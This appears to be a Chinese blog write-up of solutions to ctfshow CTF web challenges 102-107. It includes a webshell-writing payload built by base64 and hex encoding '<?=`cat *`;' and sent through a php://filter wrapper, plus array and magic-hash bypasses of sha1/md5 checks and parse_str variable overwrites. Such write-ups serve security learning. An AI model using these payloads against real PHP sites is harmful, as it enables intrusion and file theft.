ctfshow web102-107

目录

Web 102-103

web 104

Web 105

Web 106

Web 107


Web 102-103

substr() 函数返回字符串的一部分

此题中v2被去掉了前两位字符所以到时候给v2前加两个数字

call_user_func函数

php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法。
用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串

<?php

$a='<?=`cat *`;';

$b=base64_encode($a);//$a=PD89YGNhdCAqYDs=

$c=bin2hex('PD89YGNhdCAqYDs');

echo $c;

?>

得到5044383959474e6864434171594473
GET:

?v2=105044383959474e68644341715944&v3=php://filter/wrrite=convert.base64-decode/resource=1.php

POST:v1=hex2bin

然后访问1.php得到flag

web 104

绕过if(sha1($v1)==sha1($v2))即可

payload:

GET:  v2[]=1

POST:  v1[]=2

Web 105

变量覆盖

取一个中间介质:error=a=flag

GET中error不能在等号左边

POST中flag不能在等号右边

所以

GET:?a=flag

POST: error=a

或者直接

GET:?suces=flag&flag=

Web 106

绕过shal且v1不等于v2即可

Payload:

GET: v2[]=1

POST: v1[]=2

Web 107

parse_str() 函数把查询字符串解析到变量中。(以数组的方式)

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

分析代码:

parse_str($v1,$v2)
if($v2['flag']==md5($v3))

要使数组v2等于md5(v3)

方法一:

可以利用parse_str() 函数的特点将v2[‘flag’]的值覆盖

<?php

$b=md5('0');

echo $b;// cfcd208495d565ef66e7dff9f98764da

?>
Payload:

GET:v3=0

POST: v1=flag=cfcd208495d565ef66e7dff9f98764da

方法二:

还可已通过md5的漏洞绕过

Payload:

GET:v3= QNKCDZO

POST:v1=flag=0

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值